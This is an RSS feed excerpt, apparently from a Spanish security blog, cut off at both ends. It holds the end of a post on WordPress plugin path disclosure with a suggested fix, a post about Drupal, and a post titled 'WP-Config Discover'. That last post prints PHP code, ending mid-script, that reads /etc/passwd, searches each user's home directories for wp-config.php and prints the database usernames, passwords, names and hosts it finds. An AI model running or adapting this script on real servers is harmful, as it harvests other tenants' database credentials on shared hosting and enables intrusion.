./akismet/akismet.php:add_action(&#8216;preprocess_comment&#8217;, &#8216;akismet_auto_check_comment&#8217;, 1);<br />
./akismet/akismet.php:add_action(&#8216;admin_menu&#8217;, &#8216;akismet_manage_page&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;activity_box_end&#8217;, &#8216;akismet_stats&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;rightnow_end&#8217;, &#8216;akismet_rightnow&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;manage_comments_nav&#8217;, &#8216;akismet_check_for_spam_button&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;admin_action_akismet_recheck_queue&#8217;, &#8216;akismet_recheck_queue&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;init&#8217;, &#8216;widget_akismet_register&#8217;);<br />
./source-code-syntax-highlighting-plugin-for-wordpress/deans_code_highlighter.php:add_action(&#8216;admin_menu&#8217;, &#8216;dl_reg_admin&#8217;);<br />
./flickr-widget/flickr_widget.php:add_action( &#8220;init&#8221;, &#8220;flickr_widgets_init&#8221; );</p></blockquote>
<p>La lista de plugins afectados es muy grande, sólo en este caso (mi wordpress) tenemos 15:</p>
<blockquote><p>wp-gravatar<br />
smart-youtube<br />
chili-code-highlighter<br />
wp-db-backup<br />
subscribe2<br />
add-to-any<br />
creative-commons-license-widget<br />
wordpress-23-related-posts-plugin<br />
twitter-updater-using-tinyurl<br />
simplepie-core<br />
all-in-one-seo-pack<br />
google-analyticator<br />
akismet<br />
source-code-syntax-highlighting-plugin-for-wordpress<br />
flickr-widget</p></blockquote>
<p>Para corregirlo simplemente debemos agregar, a cada llamada de la función, la siguiente validación:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/function_exists"><span class="kw3">function_exists</span></a><span class="br0">&#40;</span><span class="st0">&#8216;add_action&#8217;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#91;</span>&#8230;<span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Quizás a mucha gente no le interese este tema y piense que este tipo de vulnerabilidad no sirve y no les importa que sepan en que directorio está instalado el wordpress, aún así, pienso que es necesario que esto se corrija. No va a depender de los usuarios solucionar esto, sino de los desarrolladores.<br />
Esta vulnerabilidad puede ser aprovechada no sólo para entrar a un sistema wordpress, puede ser combinada con otras vulnerabildiades como LFI o Directory Transversal y comprometer a las otras cuentas que estan en el servidor. Con esta información podemos obtener típicamente el nombre de usuario de la cuenta (luego ingresar por la IP agregando colita de chancho [~] y luego el username) y el directorio de ese usuario, que luego pueden ser usados para distintos fines.<br />
Las personas que alguna véz hayan explotado este tipo de vulnerabilidad sabrán lo útil que puede llegar a ser al momento de querer penetrar un sistema.</p>
<p>Si lo miramos desde otro punto de vista, podríamos llegar a <em>escalar</em> el problema y decir que gran parte de la responsabilidad la tiene <strong>WordPress</strong>, todos los plugins deberían pasar por un <em>test de calidad</em> donde se verifiquen este tipo de cosas. La forma de operar que tienen los plugins de WordPress deberían ser, al menos, en un entorno WP. ¿Me explico? Debería existir una forma de determar que el fichero php se está ejecutando bajo el entorno wordpress y no por si solo (por ejemplo al llamar a hello.php), ya sea con un método, constante, variable, etc, algo tan simple como un if:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span>WORDPRESS_ENVIRONMENT == <span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Otra forma de solucionarlo, sería deshabilitando los mensajes de advertencia y errores por lado del servidor, pero insisto, creo que la solución no es por parte de los usuarios, sino de los desarrolladores.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/"  data-text="Vulnerabilidad en la mayoría de los plugins para WordPress" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Drupal como Content Management Framework</title>
		<link>http://blog.zerial.org/mis-cosas/drupal-como-content-management-framework/</link>
		<comments>http://blog.zerial.org/mis-cosas/drupal-como-content-management-framework/#comments</comments>
		<pubDate>Sun, 27 Sep 2009 19:41:17 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[cmf]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[comunidad]]></category>
		<category><![CDATA[desarrollo]]></category>
		<category><![CDATA[drupal]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=925</guid>
		<description><![CDATA[Están muy de moda los CMS (Content Management System) tales como WordPress, Joomla y Jaws, entre otros, por la facilidad y extensibilidad que tienen mediante módulos, plugins, widgets, themes, templates, etc. Desde hace 8 meses mas o menos que estoy en un proyecto que involucra la creación de un sistema para una comunidad de cientificos, [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.zerial.org/wp-content/uploads/2009/09/drupal.png" alt="drupal" title="drupal" width="250" height="286" class="alignright size-full wp-image-976" />Están muy de moda los CMS (Content Management System) tales como <a href="http://wordpress.com" target="_blank">WordPress</a>, <a href="http://joomla.org" target="_blank">Joomla</a> y <a href="http://jaws-project.com" target="_blank">Jaws</a>, entre otros, por la facilidad y extensibilidad que tienen mediante módulos, plugins, widgets, themes, templates, etc. Desde hace 8 meses mas o menos que estoy en un proyecto que involucra la creación de un sistema para una comunidad de cientificos, usando <a href="http://drupal.org" target="_blank">Drupal</a>.</p>
<p><strong>¿Por qué Drupal?</strong></p>
<p>Drupal pretende ser mucho más que un gestor de contenidos, lo que busca ser es un gestor de comunidades, un <em>framework</em> para gestionar comunidades, lo que yo llamo CMF. Es extensible, permite la reutilización de código, utilización de templates/themes propios y muchas otras cosas.</p>
<p><strong>¿Por qué NO WordPress, Joomla u otro CMS?</strong></p>
<p>Un CMS, com su nombre lo dice, es un <em>sistema</em> gestor de contenidos, están más orientados a blogs o sitios que no implican una cantidad grande de usuarios y contenido y tipos de contenidos. Lo que yo necesitaba, era un <strong>framework</strong> para gestionar una comunidad.</p>
<p>¿Se entiende?</p>
<p><span id="more-925"></span></p>
<p>El sitio en el que estoy trabajando tiene más de mil usuarios y tiene una cantidad enorme de contenido que se va generando día a día, para esto es necesario <em>algo</em> que me permita gestionarlo y que tenga gran parte del código desarrollado, es decir, que existan plugins o módulos ya hechos y que sólo haga falta modificarlos o adaptarlos a lo que necesitamos. Para <a href="http://drupal.org" target="_blank">Drupal</a> encontramos una serie como por ejemplo el conocido OG:</p>
<blockquote><p><strong>O</strong>rganic <strong>G</strong>roups: Enable users to create and manage their own &#8216;groups&#8217;. Each group can have subscribers, and maintains a group home page where subscribers communicate amongst themselves</p></blockquote>
<p>Con esto tenemos la posibilidad de que los usuarios creen sus propios grupos, manejen sus suscripciones, creen noticias relacionadas al grupo, privadas o públicas, administración y moderación de grupos, etc.<br />
Tambien es posible crear perfiles personalizados para cada usuario usando el módulo ContentProfile:</p>
<blockquote><p><strong>Content Profile</strong>: is module builds user profiles as content (aka nodes), which opens the opportunity to use all the powerful modules for content for user profiles too, e.g. the Content Construction Kit (CCK).</p></blockquote>
<p>La creación de módulos propios es bien sencilla, sólo hay que entender cómo trabaja los templates, páginas, nodos, etc. La tarea de creación de módulos se facilita bastante gracias a los <a href="http://api.drupal.org/api/group/hooks" target="_blank"><strong>hooks</strong></a>, con esto es posible modificar comportamientos de otros módulos (contrib y propios del sistema) y lograr tener un control casi completo del sistema. La idea es, por ningun motivo, <em>tocar</em> el <strong>core</strong> de Drupal, de lo contrario será muy difícil la mantención del sistema (actualizaciones, etc).<br />
Drupal tambien nos provee de una API, muy completa, la cual podemos trabajar usando las funcionalidades y bondades de Drupal sin tener que usar Drupal -<em>valga la redundancia</em>-. Por ejemplo, hace unos meses tuve que usar sólo el módulo &#8220;forum&#8221; de Drupal para integrarlo con un sitio que ya estaba desarrollado, ajeno a Drupal. Tambien es muy útil cuando se necesita hacer migración de usuarios y/o contenido de una plataforma a otra. Para usar la API sólo necesitamos descargar el código fuente y tener las siguientes líneas:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">include_once</span> <span class="st0">&#8216;api/includes/bootstrap.inc&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">drupal_bootstrap<span class="br0">&#40;</span>DRUPAL_BOOTSTRAP_FULL<span class="br0">&#41;</span>;</div>
</li>
</ol>
</div>
<p>(<em>siendo el directorio <strong>api</strong> dónde tenemos el código fuente de Drupal</em>)</p>
<p>Y listo, ya podemos usar todas las funciones o métodos, variables, constantes, etc.</p>
<p>La versión estable actual de Drupal es la 6, se está trabajando en la 7 que será orientada a objetos. El problema de esto, es que cada vez que se lanza una version nueva (4→5, 5→6, 6→7), los desarrolladores deben volver a programar sus módulos, ya que Drupal no tiene compatibilidad retroactiva.</p>
<p><strong>Links:</strong></p>
<p><a href="http://drupalmodules.com" target="_blank">Drupal Modules</a>: Repositorio muy completo con distintos módulos para distintas versiones de Drupal .<br />
<a href="http://api.drupal.org/" target="_blank">Documentación de la API</a></p>
<p><strong>Lectura recomendada</strong>:</p>
<p><a href="http://www.amazon.com/Pro-Drupal-Development-John-VanDyk/dp/1590597559"><img src="http://blog.zerial.org/wp-content/uploads/2009/09/images.jpeg" alt="images" title="images" width="130" height="87" class="aligncenter size-full wp-image-974" /></a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fmis-cosas%2Fdrupal-como-content-management-framework%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/mis-cosas/drupal-como-content-management-framework/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/mis-cosas/drupal-como-content-management-framework/"  data-text="Drupal como Content Management Framework" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/mis-cosas/drupal-como-content-management-framework/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WP-Config Discover: Héchale un vistazo a todos los WordPress del servidor</title>
		<link>http://blog.zerial.org/seguridad/wp-config-discover/</link>
		<comments>http://blog.zerial.org/seguridad/wp-config-discover/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 03:04:08 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=716</guid>
		<description><![CDATA[WP-Config Discover es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario www-data sobre el fichero wp-config.php. Como todos [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-720" title="matrixwordpress" src="http://blog.zerial.org/wp-content/uploads/2009/08/matrixwordpress.png" alt="matrixwordpress" width="190" height="190" /><strong>WP-Config Discover</strong> es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario <em>www-data</em> sobre el fichero <em>wp-config.php</em>.</p>
<p>Como todos saben, wordpress al igual que todos los cms, guardan la configuración de la base de datos (usuario, password, host, prefijo de las tablas, etc) en un fichero, el cual debe ser legible por el usuario que está corriendo el servicio http (generalmente apache/www-data).</p>
<p><span id="more-716"></span></p>
<p><strong>Código</strong></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$paths</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;site&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="st0">&quot;html&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;html/blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www/blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;site/blog&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="st0">&quot;wordpress&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www/wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www/wordpress&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;html/wordpress&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="st0">&quot;html/wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html/blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html/wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html/wordpress&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$files</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;wp-config.php&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Checking for &#8230;.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw1">if</span><span class="br0">&#40;</span>!<a href="http://www.php.net/is_readable"><span class="kw3">is_readable</span></a><span class="br0">&#40;</span><span class="st0">&quot;/etc/passwd&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> &nbsp; &nbsp;<a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">&quot;err0r: can&#8217;t read /etc/passwd (safe mode?)&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$_f</span> = @<a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span><span class="st0">&quot;/etc/passwd&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$_f</span> <span class="kw1">as</span> <span class="re0">$usr</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$usr</span> = <a href="http://www.php.net/explode"><span class="kw3">explode</span></a><span class="br0">&#40;</span><span class="st0">&quot;:&quot;</span>, <span class="re0">$usr</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$uid</span> = <span class="re0">$usr</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="re0">$home</span> = <span class="re0">$usr</span><span class="br0">&#91;</span><span class="nu0">5</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$usr</span> = <span class="re0">$usr</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$uid</span> &gt;= <span class="nu0">1000</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="re0">$usr</span>.<span class="st0">&quot; (uid:&quot;</span>.<span class="re0">$uid</span>.<span class="st0">&quot;): &quot;</span>.<span class="re0">$home</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$paths</span> <span class="kw1">as</span> <span class="re0">$path</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/file_exists"><span class="kw3">file_exists</span></a><span class="br0">&#40;</span><span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span>Searching in &quot;</span>.<span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$files</span> <span class="kw1">as</span> <span class="re0">$file</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/file_exists"><span class="kw3">file_exists</span></a><span class="br0">&#40;</span><span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$file</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span>Found: &quot;</span>.<span class="re0">$file</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$__f</span> = @<a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span><span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$file</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$__f</span> <span class="kw1">as</span> <span class="re0">$line</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_USER&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_USER&#8217;, &quot;</span>,<span class="st0">&quot;usr=&gt;&quot;</span>, <span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_PASSWORD&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output2</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_PASSWORD&#8217;, &quot;</span>, <span class="st0">&quot;pwd=&gt;&quot;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_NAME&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output3</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_NAME&#8217;, &quot;</span>, <span class="st0">&quot;db=&gt;&quot;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_HOST&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output4</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_HOST&#8217;, &quot;</span>, <span class="st0">&quot;host=&gt;&quot;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;<span class="es0">\$</span>table_prefix&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/<span class="es0">\$</span>table_prefix(.*);/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output5</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>prefix&quot;</span>.<span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
